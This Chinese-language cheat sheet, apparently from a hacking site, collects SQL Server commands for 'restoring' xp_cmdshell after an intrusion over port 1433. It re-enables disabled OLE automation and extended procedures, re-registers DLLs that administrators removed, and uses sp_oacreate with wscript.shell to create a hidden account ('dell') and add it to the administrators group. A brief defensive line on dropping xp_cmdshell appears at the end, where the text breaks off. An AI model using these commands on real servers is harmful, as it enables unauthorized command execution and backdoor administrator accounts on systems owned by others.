1433 SQL入侵恢复xp_cmdshell方法总结sql server 2005下开启xp_cmdshell的办法EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;SQL2005开启'OPENROWSET'支持的方法：exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;SQL2005开启'sp_oacreate'支持的方法:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;突破SA的各种困难常见情况恢复执行xp_cmdshell1 未能找到存储过程'master..xpcmdshell'.恢复方法：查询分离器连接后,第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）恢复方法：查询分离器连接后,第一步执行：sp_dropextendedproc "xp_cmdshell"第二步执行：sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)恢复方法：查询分离器连接后,第一步执行:exec sp_dropextendedproc 'xp_cmdshell'第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'然后按F5键命令执行完毕四.终极方法.如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:查询分离器连接后,2000servser系统:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'xp或2003server系统:declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'--------------xp_cmdshell新的恢复办法删除drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'恢复dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")这样可以直接恢复，不用去管sp_addextendedproc是不是存在-----------------------------删除扩展存储过过程xp_cmdshell的语句:exec sp_dropextendedproc 'xp_cmdshell'恢复cmdshell的sql语句exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'开启cmdshell的sql语句exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'判断存储扩展是否存在select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'返回结果为1就ok恢复xp_cmdshellexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'返回结果为1就ok否则上传xplog7.0.dllexec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'堵上cmdshell的sql语句sp_dropextendedproc "xp_cmdshell----------------删除sql危险存储：代码如下:
